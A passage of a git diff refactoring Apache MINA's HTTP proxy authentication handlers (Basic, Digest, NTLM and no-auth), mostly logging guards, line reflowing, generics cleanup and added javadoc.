(HttpProxyRequest) getProxyIoSession() - .getRequest(); - Map> headers = req.getHeaders() != null ? req - .getHeaders() : new HashMap>(); + HttpProxyRequest req = (HttpProxyRequest) getProxyIoSession().getRequest(); + Map> headers = req.getHeaders() != null ? req.getHeaders() + : new HashMap<>(); AbstractAuthLogicHandler.addKeepAliveHeaders(headers); req.setHeaders(headers); @@ -97,15 +103,13 @@ public void doHandshake(final NextFilter nextFilter) * * @param response the proxy response */ - private void autoSelectAuthHandler(final HttpProxyResponse response) - throws ProxyAuthException { + private void autoSelectAuthHandler(final HttpProxyResponse response) throws ProxyAuthException { // Get the Proxy-Authenticate header List values = response.getHeaders().get("Proxy-Authenticate"); ProxyIoSession proxyIoSession = getProxyIoSession(); - if (values == null || values.size() == 0) { - authHandler = HttpAuthenticationMethods.NO_AUTH - .getNewHandler(proxyIoSession); + if (values == null || values.isEmpty()) { + authHandler = HttpAuthenticationMethods.NO_AUTH.getNewHandler(proxyIoSession); } else if (getProxyIoSession().getPreferedOrder() == null) { // No preference order set for auth mechanisms @@ -119,8 +123,7 @@ private void autoSelectAuthHandler(final HttpProxyResponse response) if (proxyAuthHeader.contains("ntlm")) { method = HttpAuthenticationMethods.NTLM.getId(); break; - } else if (proxyAuthHeader.contains("digest") - && method != HttpAuthenticationMethods.NTLM.getId()) { + } else if (proxyAuthHeader.contains("digest") && method != HttpAuthenticationMethods.NTLM.getId()) { method = HttpAuthenticationMethods.DIGEST.getId(); } else if (proxyAuthHeader.contains("basic") && method == -1) { method = HttpAuthenticationMethods.BASIC.getId(); @@ -129,28 +132,26 @@ private void autoSelectAuthHandler(final HttpProxyResponse response) if (method != -1) { try { - authHandler = HttpAuthenticationMethods.getNewHandler( - method, proxyIoSession); + authHandler = HttpAuthenticationMethods.getNewHandler(method, proxyIoSession); } catch (Exception ex) { - logger.debug("Following exception occured:", ex); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Following exception occured:", ex); + } } } if (authHandler == null) { - authHandler = HttpAuthenticationMethods.NO_AUTH - .getNewHandler(proxyIoSession); + authHandler = HttpAuthenticationMethods.NO_AUTH.getNewHandler(proxyIoSession); } } else { - for (HttpAuthenticationMethods method : proxyIoSession - .getPreferedOrder()) { + for (HttpAuthenticationMethods method : proxyIoSession.getPreferedOrder()) { if (authHandler != null) { break; } if (method == HttpAuthenticationMethods.NO_AUTH) { - authHandler = HttpAuthenticationMethods.NO_AUTH - .getNewHandler(proxyIoSession); + authHandler = HttpAuthenticationMethods.NO_AUTH.getNewHandler(proxyIoSession); break; } @@ -159,24 +160,20 @@ private void autoSelectAuthHandler(final HttpProxyResponse response) try { // test which auth mechanism to use - if (proxyAuthHeader.contains("basic") - && method == HttpAuthenticationMethods.BASIC) { - authHandler = HttpAuthenticationMethods.BASIC - .getNewHandler(proxyIoSession); + if (proxyAuthHeader.contains("basic") && method == HttpAuthenticationMethods.BASIC) { + authHandler = HttpAuthenticationMethods.BASIC.getNewHandler(proxyIoSession); break; - } else if (proxyAuthHeader.contains("digest") - && method == HttpAuthenticationMethods.DIGEST) { - authHandler = HttpAuthenticationMethods.DIGEST - .getNewHandler(proxyIoSession); + } else if (proxyAuthHeader.contains("digest") && method == HttpAuthenticationMethods.DIGEST) { + authHandler = HttpAuthenticationMethods.DIGEST.getNewHandler(proxyIoSession); break; - } else if (proxyAuthHeader.contains("ntlm") - && method == HttpAuthenticationMethods.NTLM) { - authHandler = HttpAuthenticationMethods.NTLM - .getNewHandler(proxyIoSession); + } else if (proxyAuthHeader.contains("ntlm") && method == HttpAuthenticationMethods.NTLM) { + authHandler = HttpAuthenticationMethods.NTLM.getNewHandler(proxyIoSession); break; } } catch (Exception ex) { - logger.debug("Following exception occured:", ex); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Following exception occured:", ex); + } } } } @@ -184,8 +181,7 @@ private void autoSelectAuthHandler(final HttpProxyResponse response) } if (authHandler == null) { - throw new ProxyAuthException( - "Unknown authentication mechanism(s): " + values); + throw new ProxyAuthException("Unknown authentication mechanism(s): " + values); } } @@ -195,15 +191,11 @@ private void autoSelectAuthHandler(final HttpProxyResponse response) * @param response The proxy response. */ @Override - public void handleResponse(final HttpProxyResponse response) - throws ProxyAuthException { + public void handleResponse(final HttpProxyResponse response) throws ProxyAuthException { if (!isHandshakeComplete() - && ("close".equalsIgnoreCase(StringUtilities - .getSingleValuedHeader(response.getHeaders(), - "Proxy-Connection")) || "close" - .equalsIgnoreCase(StringUtilities - .getSingleValuedHeader(response.getHeaders(), - "Connection")))) { + && ("close".equalsIgnoreCase(StringUtilities.getSingleValuedHeader(response.getHeaders(), + "Proxy-Connection")) || "close".equalsIgnoreCase(StringUtilities.getSingleValuedHeader( + response.getHeaders(), "Connection")))) { getProxyIoSession().setReconnectionNeeded(true); } @@ -213,8 +205,8 @@ public void handleResponse(final HttpProxyResponse response) } authHandler.handleResponse(response); } else { - throw new ProxyAuthException("Error: unexpected response code " - + response.getStatusLine() + " received from proxy."); + throw new ProxyAuthException("Error: unexpected response code " + response.getStatusLine() + + " received from proxy."); } } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/basic/HttpBasicAuthLogicHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/basic/HttpBasicAuthLogicHandler.java index 4536cde128..bc93e88c56 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/basic/HttpBasicAuthLogicHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/basic/HttpBasicAuthLogicHandler.java @@ -42,18 +42,18 @@ * @since MINA 2.0.0-M3 */ public class HttpBasicAuthLogicHandler extends AbstractAuthLogicHandler { - private final static Logger logger = LoggerFactory - .getLogger(HttpBasicAuthLogicHandler.class); + private static final Logger LOGGER = LoggerFactory.getLogger(HttpBasicAuthLogicHandler.class); /** - * {@inheritDoc} + * Build an HttpBasicAuthLogicHandler + * + * @param proxyIoSession The proxy session + * @throws ProxyAuthException If we had a probelm during the proxy authentication */ - public HttpBasicAuthLogicHandler(final ProxyIoSession proxyIoSession) - throws ProxyAuthException { + public HttpBasicAuthLogicHandler(final ProxyIoSession proxyIoSession) throws ProxyAuthException { super(proxyIoSession); - ((HttpProxyRequest) request).checkRequiredProperties( - HttpProxyConstants.USER_PROPERTY, + ((HttpProxyRequest) request).checkRequiredProperties(HttpProxyConstants.USER_PROPERTY, HttpProxyConstants.PWD_PROPERTY); } @@ -61,9 +61,10 @@ public HttpBasicAuthLogicHandler(final ProxyIoSession proxyIoSession) * {@inheritDoc} */ @Override - public void doHandshake(final NextFilter nextFilter) - throws ProxyAuthException { - logger.debug(" doHandshake()"); + public void doHandshake(final NextFilter nextFilter) throws ProxyAuthException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" doHandshake()"); + } if (step > 0) { throw new ProxyAuthException("Authentication request already sent"); @@ -71,13 +72,11 @@ public void doHandshake(final NextFilter nextFilter) // Send request HttpProxyRequest req = (HttpProxyRequest) request; - Map> headers = req.getHeaders() != null ? req - .getHeaders() : new HashMap>(); + Map> headers = req.getHeaders() != null ? req.getHeaders() + : new HashMap<>(); - String username = req.getProperties().get( - HttpProxyConstants.USER_PROPERTY); - String password = req.getProperties().get( - HttpProxyConstants.PWD_PROPERTY); + String username = req.getProperties().get(HttpProxyConstants.USER_PROPERTY); + String password = req.getProperties().get(HttpProxyConstants.PWD_PROPERTY); StringUtilities.addValueToHeader(headers, "Proxy-Authorization", "Basic " + createAuthorization(username, password), true); @@ -96,21 +95,17 @@ public void doHandshake(final NextFilter nextFilter) * @param password the user password * @return the authorization header value as a string */ - public static String createAuthorization(final String username, - final String password) { - return new String(Base64.encodeBase64((username + ":" + password) - .getBytes())); + public static String createAuthorization(final String username, final String password) { + return new String(Base64.encodeBase64((username + ":" + password).getBytes())); } /** * {@inheritDoc} */ @Override - public void handleResponse(final HttpProxyResponse response) - throws ProxyAuthException { + public void handleResponse(final HttpProxyResponse response) throws ProxyAuthException { if (response.getStatusCode() != 407) { - throw new ProxyAuthException("Received error response code (" - + response.getStatusLine() + ")."); + throw new ProxyAuthException("Received error response code (" + response.getStatusLine() + ")."); } } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/basic/HttpNoAuthLogicHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/basic/HttpNoAuthLogicHandler.java index 5d1b50319e..807423f98b 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/basic/HttpNoAuthLogicHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/basic/HttpNoAuthLogicHandler.java @@ -35,14 +35,15 @@ * @since MINA 2.0.0-M3 */ public class HttpNoAuthLogicHandler extends AbstractAuthLogicHandler { - private final static Logger logger = LoggerFactory - .getLogger(HttpNoAuthLogicHandler.class); + private static final Logger LOGGER = LoggerFactory.getLogger(HttpNoAuthLogicHandler.class); /** - * {@inheritDoc} + * Build an HttpNoAuthLogicHandler + * + * @param proxyIoSession The original session + * @throws ProxyAuthException If we get an error during the proxy authentication */ - public HttpNoAuthLogicHandler(final ProxyIoSession proxyIoSession) - throws ProxyAuthException { + public HttpNoAuthLogicHandler(final ProxyIoSession proxyIoSession) throws ProxyAuthException { super(proxyIoSession); } @@ -50,9 +51,10 @@ public HttpNoAuthLogicHandler(final ProxyIoSession proxyIoSession) * {@inheritDoc} */ @Override - public void doHandshake(final NextFilter nextFilter) - throws ProxyAuthException { - logger.debug(" doHandshake()"); + public void doHandshake(final NextFilter nextFilter) throws ProxyAuthException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" doHandshake()"); + } // Just send the request, no authentication needed writeRequest(nextFilter, (HttpProxyRequest) request); @@ -63,10 +65,8 @@ public void doHandshake(final NextFilter nextFilter) * {@inheritDoc} */ @Override - public void handleResponse(final HttpProxyResponse response) - throws ProxyAuthException { + public void handleResponse(final HttpProxyResponse response) throws ProxyAuthException { // Should never get here ! - throw new ProxyAuthException("Received error response code (" - + response.getStatusLine() + ")."); + throw new ProxyAuthException("Received error response code (" + response.getStatusLine() + ")."); } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/digest/DigestUtilities.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/digest/DigestUtilities.java index 77367b1d0e..e79dc410da 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/digest/DigestUtilities.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/digest/DigestUtilities.java @@ -22,7 +22,7 @@ import java.io.UnsupportedEncodingException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; -import java.util.HashMap; +import java.util.Map; import javax.security.sasl.AuthenticationException; @@ -38,9 +38,8 @@ * @since MINA 2.0.0-M3 */ public class DigestUtilities { - - public final static String SESSION_HA1 = DigestUtilities.class - + ".SessionHA1"; + /** The Session digest attribute name */ + public static final String SESSION_HA1 = DigestUtilities.class + ".SessionHA1"; private static MessageDigest md5; @@ -49,15 +48,17 @@ public class DigestUtilities { try { md5 = MessageDigest.getInstance("MD5"); } catch (NoSuchAlgorithmException e) { - throw new RuntimeException(e); + throw new IllegalArgumentException(e); } } - + /** * The supported qualities of protections. */ - public final static String[] SUPPORTED_QOPS = new String[] { "auth", - "auth-int" }; + public static final String[] SUPPORTED_QOPS = new String[] { "auth", "auth-int" }; + + private DigestUtilities() { + } /** * Computes the response to the DIGEST challenge. @@ -68,27 +69,26 @@ public class DigestUtilities { * @param pwd the password * @param charsetName the name of the charset used for the challenge * @param body the html body to be hashed for integrity calculations + * @return The response + * @throws AuthenticationException if we weren't able to find a directive value in the map + * @throws UnsupportedEncodingException If we weren't able to encode to ISO 8859_1 the username or realm, + * or if we weren't able to encode the charsetName */ - public static String computeResponseValue(IoSession session, - HashMap map, String method, String pwd, - String charsetName, String body) throws AuthenticationException, - UnsupportedEncodingException { + public static String computeResponseValue(IoSession session, Map map, String method, + String pwd, String charsetName, String body) throws AuthenticationException, UnsupportedEncodingException{ byte[] hA1; StringBuilder sb; - boolean isMD5Sess = "md5-sess".equalsIgnoreCase(StringUtilities - .getDirectiveValue(map, "algorithm", false)); + boolean isMD5Sess = "md5-sess".equalsIgnoreCase(StringUtilities.getDirectiveValue(map, "algorithm", false)); if (!isMD5Sess || (session.getAttribute(SESSION_HA1) == null)) { // Build A1 sb = new StringBuilder(); - sb.append( - StringUtilities.stringTo8859_1(StringUtilities - .getDirectiveValue(map, "username", true))).append( + sb.append(StringUtilities.stringTo8859_1(StringUtilities.getDirectiveValue(map, "username", true))).append( ':'); - String realm = StringUtilities.stringTo8859_1(StringUtilities - .getDirectiveValue(map, "realm", false)); + String realm = StringUtilities.stringTo8859_1(StringUtilities.getDirectiveValue(map, "realm", false)); + if (realm != null) { sb.append(realm); } @@ -97,6 +97,7 @@ public static String computeResponseValue(IoSession session, if (isMD5Sess) { byte[] prehA1; + synchronized (md5) { md5.reset(); prehA1 = md5.digest(sb.toString().getBytes(charsetName)); @@ -105,11 +106,9 @@ public static String computeResponseValue(IoSession session, sb = new StringBuilder(); sb.append(ByteUtilities.asHex(prehA1)); sb.append(':').append( - StringUtilities.stringTo8859_1(StringUtilities - .getDirectiveValue(map, "nonce", true))); + StringUtilities.stringTo8859_1(StringUtilities.getDirectiveValue(map, "nonce", true))); sb.append(':').append( - StringUtilities.stringTo8859_1(StringUtilities - .getDirectiveValue(map, "cnonce", true))); + StringUtilities.stringTo8859_1(StringUtilities.getDirectiveValue(map, "cnonce", true))); synchronized (md5) { md5.reset(); @@ -132,16 +131,16 @@ public static String computeResponseValue(IoSession session, sb.append(StringUtilities.getDirectiveValue(map, "uri", false)); String qop = StringUtilities.getDirectiveValue(map, "qop", false); + if ("auth-int".equalsIgnoreCase(qop)) { - ProxyIoSession proxyIoSession = (ProxyIoSession) session - .getAttribute(ProxyIoSession.PROXY_SESSION); + ProxyIoSession proxyIoSession = (ProxyIoSession) session.getAttribute(ProxyIoSession.PROXY_SESSION); byte[] hEntity; synchronized (md5) { md5.reset(); - hEntity = md5.digest(body.getBytes(proxyIoSession - .getCharsetName())); + hEntity = md5.digest(body.getBytes(proxyIoSession.getCharsetName())); } + sb.append(':').append(hEntity); } @@ -153,8 +152,7 @@ public static String computeResponseValue(IoSession session, sb = new StringBuilder(); sb.append(ByteUtilities.asHex(hA1)); - sb.append(':').append( - StringUtilities.getDirectiveValue(map, "nonce", true)); + sb.append(':').append(StringUtilities.getDirectiveValue(map, "nonce", true)); sb.append(":00000001:"); sb.append(StringUtilities.getDirectiveValue(map, "cnonce", true)); @@ -162,6 +160,7 @@ public static String computeResponseValue(IoSession session, sb.append(ByteUtilities.asHex(hA2)); byte[] hFinal; + synchronized (md5) { md5.reset(); hFinal = md5.digest(sb.toString().getBytes(charsetName)); diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/digest/HttpDigestAuthLogicHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/digest/HttpDigestAuthLogicHandler.java index dae79274ae..b09f2604ac 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/digest/HttpDigestAuthLogicHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/digest/HttpDigestAuthLogicHandler.java @@ -48,13 +48,12 @@ */ public class HttpDigestAuthLogicHandler extends AbstractAuthLogicHandler { - private final static Logger logger = LoggerFactory - .getLogger(HttpDigestAuthLogicHandler.class); + private static final Logger LOGGER = LoggerFactory.getLogger(HttpDigestAuthLogicHandler.class); /** * The challenge directives provided by the server. */ - private HashMap directives = null; + private Map directives = null; /** * The response received to the last request. @@ -68,67 +67,75 @@ public class HttpDigestAuthLogicHandler extends AbstractAuthLogicHandler { try { rnd = SecureRandom.getInstance("SHA1PRNG"); } catch (NoSuchAlgorithmException e) { - throw new RuntimeException(e); + throw new IllegalArgumentException(e); } } - public HttpDigestAuthLogicHandler(final ProxyIoSession proxyIoSession) - throws ProxyAuthException { + /** + * Creates a new HttpDigestAuthLogicHandler instance + * + * @param proxyIoSession The Proxy IoSession + * @throws ProxyAuthException The Proxy AuthException + */ + public HttpDigestAuthLogicHandler(ProxyIoSession proxyIoSession) throws ProxyAuthException { super(proxyIoSession); - ((HttpProxyRequest) request).checkRequiredProperties( - HttpProxyConstants.USER_PROPERTY, + ((HttpProxyRequest) request).checkRequiredProperties(HttpProxyConstants.USER_PROPERTY, HttpProxyConstants.PWD_PROPERTY); } - + + /** + * {@inheritDoc} + */ @Override public void doHandshake(NextFilter nextFilter) throws ProxyAuthException { - logger.debug(" doHandshake()"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" doHandshake()"); + } if (step > 0 && directives == null) { - throw new ProxyAuthException( - "Authentication challenge not received"); + throw new ProxyAuthException("Authentication challenge not received"); } - + HttpProxyRequest req = (HttpProxyRequest) request; - Map> headers = req.getHeaders() != null ? req - .getHeaders() : new HashMap>(); + Map> headers = req.getHeaders() != null ? req.getHeaders() + : new HashMap<>(); if (step > 0) { - logger.debug(" sending DIGEST challenge response"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" sending DIGEST challenge response"); + } // Build a challenge response - HashMap map = new HashMap(); - map.put("username", req.getProperties().get( - HttpProxyConstants.USER_PROPERTY)); + HashMap map = new HashMap<>(); + map.put("username", req.getProperties().get(HttpProxyConstants.USER_PROPERTY)); StringUtilities.copyDirective(directives, map, "realm"); StringUtilities.copyDirective(directives, map, "uri"); StringUtilities.copyDirective(directives, map, "opaque"); StringUtilities.copyDirective(directives, map, "nonce"); - String algorithm = StringUtilities.copyDirective(directives, - map, "algorithm"); + String algorithm = StringUtilities.copyDirective(directives, map, "algorithm"); // Check for a supported algorithm - if (algorithm != null && !"md5".equalsIgnoreCase(algorithm) - && !"md5-sess".equalsIgnoreCase(algorithm)) { - throw new ProxyAuthException( - "Unknown algorithm required by server"); + if (algorithm != null && !"md5".equalsIgnoreCase(algorithm) && !"md5-sess".equalsIgnoreCase(algorithm)) { + throw new ProxyAuthException("Unknown algorithm required by server"); } // Check for a supported qop String qop = directives.get("qop"); + if (qop != null) { StringTokenizer st = new StringTokenizer(qop, ","); String token = null; while (st.hasMoreTokens()) { String tk = st.nextToken(); + if ("auth".equalsIgnoreCase(token)) { break; } - int pos = Arrays.binarySearch( - DigestUtilities.SUPPORTED_QOPS, tk); + int pos = Arrays.binarySearch(DigestUtilities.SUPPORTED_QOPS, tk); + if (pos > -1) { token = tk; } @@ -141,17 +148,13 @@ public void doHandshake(NextFilter nextFilter) throws ProxyAuthException { rnd.nextBytes(nonce); try { - String cnonce = new String(Base64 - .encodeBase64(nonce), proxyIoSession - .getCharsetName()); + String cnonce = new String(Base64.encodeBase64(nonce), proxyIoSession.getCharsetName()); map.put("cnonce", cnonce); } catch (UnsupportedEncodingException e) { - throw new ProxyAuthException( - "Unable to encode cnonce", e); + throw new ProxyAuthException("Unable to encode cnonce", e); } } else { - throw new ProxyAuthException( - "No supported qop option available"); + throw new ProxyAuthException("No supported qop option available"); } } @@ -160,17 +163,12 @@ public void doHandshake(NextFilter nextFilter) throws ProxyAuthException { // Compute the response try { - map.put("response", DigestUtilities - .computeResponseValue(proxyIoSession.getSession(), - map, req.getHttpVerb().toUpperCase(), - req.getProperties().get( - HttpProxyConstants.PWD_PROPERTY), - proxyIoSession.getCharsetName(), response - .getBody())); + map.put("response", DigestUtilities.computeResponseValue(proxyIoSession.getSession(), map, req + .getHttpVerb().toUpperCase(), req.getProperties().get(HttpProxyConstants.PWD_PROPERTY), + proxyIoSession.getCharsetName(), response.getBody())); } catch (Exception e) { - throw new ProxyAuthException( - "Digest response computing failed", e); + throw new ProxyAuthException("Digest response computing failed", e); } // Prepare the challenge response header and add it to the @@ -178,7 +176,8 @@ public void doHandshake(NextFilter nextFilter) throws ProxyAuthException { StringBuilder sb = new StringBuilder("Digest "); boolean addSeparator = false; - for (String key : map.keySet()) { + for ( Map.Entry entry : map.entrySet()) { + String key = entry.getKey(); if (addSeparator) { sb.append(", "); @@ -186,18 +185,17 @@ public void doHandshake(NextFilter nextFilter) throws ProxyAuthException { addSeparator = true; } - boolean quotedValue = !"qop".equals(key) - && !"nc".equals(key); + boolean quotedValue = !"qop".equals(key) && !"nc".equals(key); sb.append(key); + if (quotedValue) { - sb.append("=\"").append(map.get(key)).append('\"'); + sb.append("=\"").append(entry.getValue()).append('\"'); } else { - sb.append('=').append(map.get(key)); + sb.append('=').append(entry.getValue()); } } - StringUtilities.addValueToHeader(headers, - "Proxy-Authorization", sb.toString(), true); + StringUtilities.addValueToHeader(headers, "Proxy-Authorization", sb.toString(), true); } addKeepAliveHeaders(headers); @@ -208,22 +206,17 @@ public void doHandshake(NextFilter nextFilter) throws ProxyAuthException { } @Override - public void handleResponse(final HttpProxyResponse response) - throws ProxyAuthException { + public void handleResponse(final HttpProxyResponse response) throws ProxyAuthException { this.response = response; if (step == 0) { - if (response.getStatusCode() != 401 - && response.getStatusCode() != 407) { - throw new ProxyAuthException( - "Received unexpected response code (" - + response.getStatusLine() + ")."); + if (response.getStatusCode() != 401 && response.getStatusCode() != 407) { + throw new ProxyAuthException("Received unexpected response code (" + response.getStatusLine() + ")."); } // Header should look like this // Proxy-Authenticate: Digest still_some_more_stuff - List values = response.getHeaders().get( - "Proxy-Authenticate"); + List values = response.getHeaders().get("Proxy-Authenticate"); String challengeResponse = null; for (String s : values) { @@ -234,21 +227,18 @@ public void handleResponse(final HttpProxyResponse response) } if (challengeResponse == null) { - throw new ProxyAuthException( - "Server doesn't support digest authentication method !"); + throw new ProxyAuthException("Server doesn't support digest authentication method !"); } try { - directives = StringUtilities.parseDirectives(challengeResponse - .substring(7).getBytes(proxyIoSession.getCharsetName())); + directives = StringUtilities.parseDirectives(challengeResponse.substring(7).getBytes( + proxyIoSession.getCharsetName())); } catch (Exception e) { - throw new ProxyAuthException( - "Parsing of server digest directives failed", e); + throw new ProxyAuthException("Parsing of server digest directives failed", e); } step = 1; } else { - throw new ProxyAuthException("Received unexpected response code (" - + response.getStatusLine() + ")."); + throw new ProxyAuthException("Received unexpected response code (" + response.getStatusLine() + ")."); } } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/HttpNTLMAuthLogicHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/HttpNTLMAuthLogicHandler.java index f86faa8faa..4ab201a128 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/HttpNTLMAuthLogicHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/HttpNTLMAuthLogicHandler.java @@ -44,8 +44,7 @@ */ public class HttpNTLMAuthLogicHandler extends AbstractAuthLogicHandler { - private final static Logger LOGGER = LoggerFactory - .getLogger(HttpNTLMAuthLogicHandler.class); + private static final Logger LOGGER = LoggerFactory.getLogger(HttpNTLMAuthLogicHandler.class); /** * The challenge provided by the server. @@ -53,16 +52,16 @@ public class HttpNTLMAuthLogicHandler extends AbstractAuthLogicHandler { private byte[] challengePacket = null; /** - * {@inheritDoc} + * Build an HttpNTLMAuthLogicHandler + * + * @param proxyIoSession The original session + * @throws ProxyAuthException If we get an error during the proxy authentication */ - public HttpNTLMAuthLogicHandler(final ProxyIoSession proxyIoSession) - throws ProxyAuthException { + public HttpNTLMAuthLogicHandler(final ProxyIoSession proxyIoSession) throws ProxyAuthException { super(proxyIoSession); - ((HttpProxyRequest) request).checkRequiredProperties( - HttpProxyConstants.USER_PROPERTY, - HttpProxyConstants.PWD_PROPERTY, - HttpProxyConstants.DOMAIN_PROPERTY, + ((HttpProxyRequest) request).checkRequiredProperties(HttpProxyConstants.USER_PROPERTY, + HttpProxyConstants.PWD_PROPERTY, HttpProxyConstants.DOMAIN_PROPERTY, HttpProxyConstants.WORKSTATION_PROPERTY); } @@ -71,67 +70,57 @@ public HttpNTLMAuthLogicHandler(final ProxyIoSession proxyIoSession) */ @Override public void doHandshake(NextFilter nextFilter) throws ProxyAuthException { - LOGGER.debug(" doHandshake()"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" doHandshake()"); + } if (step > 0 && challengePacket == null) { throw new IllegalStateException("NTLM Challenge packet not received"); } - + HttpProxyRequest req = (HttpProxyRequest) request; - Map> headers = req.getHeaders() != null ? req - .getHeaders() : new HashMap>(); + Map> headers = req.getHeaders() != null ? req.getHeaders() + : new HashMap<>(); - String domain = req.getProperties().get( - HttpProxyConstants.DOMAIN_PROPERTY); - String workstation = req.getProperties().get( - HttpProxyConstants.WORKSTATION_PROPERTY); + String domain = req.getProperties().get(HttpProxyConstants.DOMAIN_PROPERTY); + String workstation = req.getProperties().get(HttpProxyConstants.WORKSTATION_PROPERTY); if (step > 0) { - LOGGER.debug(" sending NTLM challenge response"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" sending NTLM challenge response"); + } - byte[] challenge = NTLMUtilities - .extractChallengeFromType2Message(challengePacket); - int serverFlags = NTLMUtilities - .extractFlagsFromType2Message(challengePacket); + byte[] challenge = NTLMUtilities.extractChallengeFromType2Message(challengePacket); + int serverFlags = NTLMUtilities.extractFlagsFromType2Message(challengePacket); - String username = req.getProperties().get( - HttpProxyConstants.USER_PROPERTY); - String password = req.getProperties().get( - HttpProxyConstants.PWD_PROPERTY); + String username = req.getProperties().get(HttpProxyConstants.USER_PROPERTY); + String password = req.getProperties().get(HttpProxyConstants.PWD_PROPERTY); - byte[] authenticationPacket = NTLMUtilities.createType3Message( - username, password, challenge, domain, workstation, - serverFlags, null); + byte[] authenticationPacket = NTLMUtilities.createType3Message(username, password, challenge, domain, + workstation, serverFlags, null); - StringUtilities.addValueToHeader(headers, - "Proxy-Authorization", - "NTLM "+ new String(Base64 - .encodeBase64(authenticationPacket)), - true); + StringUtilities.addValueToHeader(headers, "Proxy-Authorization", + "NTLM " + new String(Base64.encodeBase64(authenticationPacket)), true); - } else { + } else { + if (LOGGER.isDebugEnabled()) { LOGGER.debug(" sending NTLM negotiation packet"); - - byte[] negotiationPacket = NTLMUtilities.createType1Message( - workstation, domain, null, null); - StringUtilities - .addValueToHeader( - headers, - "Proxy-Authorization", - "NTLM "+ new String(Base64 - .encodeBase64(negotiationPacket)), - true); } - addKeepAliveHeaders(headers); - req.setHeaders(headers); + byte[] negotiationPacket = NTLMUtilities.createType1Message(workstation, domain, null, null); + StringUtilities.addValueToHeader(headers, "Proxy-Authorization", + "NTLM " + new String(Base64.encodeBase64(negotiationPacket)), true); + } + + addKeepAliveHeaders(headers); + req.setHeaders(headers); writeRequest(nextFilter, req); step++; } /** - * Returns the value of the NTLM Proxy-Authenticate header. + * @return the value of the NTLM Proxy-Authenticate header. * * @param response the proxy response */ @@ -151,8 +140,7 @@ private String getNTLMHeader(final HttpProxyResponse response) { * {@inheritDoc} */ @Override - public void handleResponse(final HttpProxyResponse response) - throws ProxyAuthException { + public void handleResponse(final HttpProxyResponse response) throws ProxyAuthException { if (step == 0) { String challengeResponse = getNTLMHeader(response); step = 1; @@ -172,22 +160,18 @@ public void handleResponse(final HttpProxyResponse response) String challengeResponse = getNTLMHeader(response); if (challengeResponse == null || challengeResponse.length() < 5) { - throw new ProxyAuthException( - "Unexpected error while reading server challenge !"); + throw new ProxyAuthException("Unexpected error while reading server challenge !"); } try { - challengePacket = Base64 - .decodeBase64(challengeResponse.substring(5).getBytes( - proxyIoSession.getCharsetName())); + challengePacket = Base64.decodeBase64(challengeResponse.substring(5).getBytes( + proxyIoSession.getCharsetName())); } catch (IOException e) { - throw new ProxyAuthException( - "Unable to decode the base64 encoded NTLM challenge", e); + throw new ProxyAuthException("Unable to decode the base64 encoded NTLM challenge", e); } step = 2; } else { - throw new ProxyAuthException("Received unexpected response code (" - + response.getStatusLine() + ")."); + throw new ProxyAuthException("Received unexpected response code (" + response.getStatusLine() + ")."); } } } diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMConstants.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMConstants.java index cfac28ec41..dbe996e142 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMConstants.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/http/ntlm/NTLMConstants.java @@ -26,159 +26,196 @@ * @since MINA 2.0.0-M3 */ public interface NTLMConstants { - // Signature "NTLMSSP"+{0} - public final static byte[] NTLM_SIGNATURE = new byte[] { 0x4E, 0x54, 0x4C, - 0x4D, 0x53, 0x53, 0x50, 0 }; + /** Signature "NTLMSSP"+{0} */ + byte[] NTLM_SIGNATURE = new byte[] { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0 }; - // Version 5.1.2600 a Windows XP version (ex: Build 2600.xpsp_sp2_gdr.050301-1519 : Service Pack 2) - public final static byte[] DEFAULT_OS_VERSION = new byte[] { 0x05, 0x01, - 0x28, 0x0A, 0, 0, 0, 0x0F }; + /** Version 5.1.2600 a Windows XP version (ex: Build 2600.xpsp_sp2_gdr.050301-1519 : Service Pack 2) */ + byte[] DEFAULT_OS_VERSION = new byte[] { 0x05, 0x01, 0x28, 0x0A, 0, 0, 0, 0x0F }; /** * Message types */ + /** Type 1 */ + int MESSAGE_TYPE_1 = 1; - public final static int MESSAGE_TYPE_1 = 1; + /** Type 2 */ + int MESSAGE_TYPE_2 = 2; - public final static int MESSAGE_TYPE_2 = 2; - - public final static int MESSAGE_TYPE_3 = 3; + /** Type 3 */ + int MESSAGE_TYPE_3 = 3; /** * Message flags */ - // Indicates that Unicode strings are supported for use in security buffer data - public final static int FLAG_NEGOTIATE_UNICODE = 0x00000001; + /** Indicates 